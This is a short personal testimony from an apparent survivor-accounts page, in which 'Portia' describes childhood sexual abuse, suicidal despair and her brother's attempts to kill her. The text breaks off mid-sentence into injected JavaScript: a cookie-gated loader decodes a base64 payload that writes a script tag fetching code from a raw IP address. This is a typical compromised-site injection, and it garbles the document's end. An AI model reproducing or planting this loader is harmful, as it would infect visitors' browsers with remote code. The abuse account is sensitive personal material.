058- Portia (United Kingdom)

I was determined to break this cycle of abuse. At 11 I was sexually abused by a neighbour. This went on for 2 years. I told my mother but she did nothing, except order me to wash my mouth out with soap and water. At 14 , on becoming a woman, I realized the seriousness of the sexual abuse and wanted to commit suicide, blaming myself, as I was brainwashed to do in the Catholic cult. To them all females are Satan. My brother made 2 attempts on my life, once with an axe and second by smothering. So, from that time on, I never slept deeply and always with one leg out of the bed, in case I needed to escape. The smothering almost worked and I have no idea where the strength came from to survive. My brother was not reprimanded in any way. My father brought me with him everywhere, lest my mother bring the priests in again. ..match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘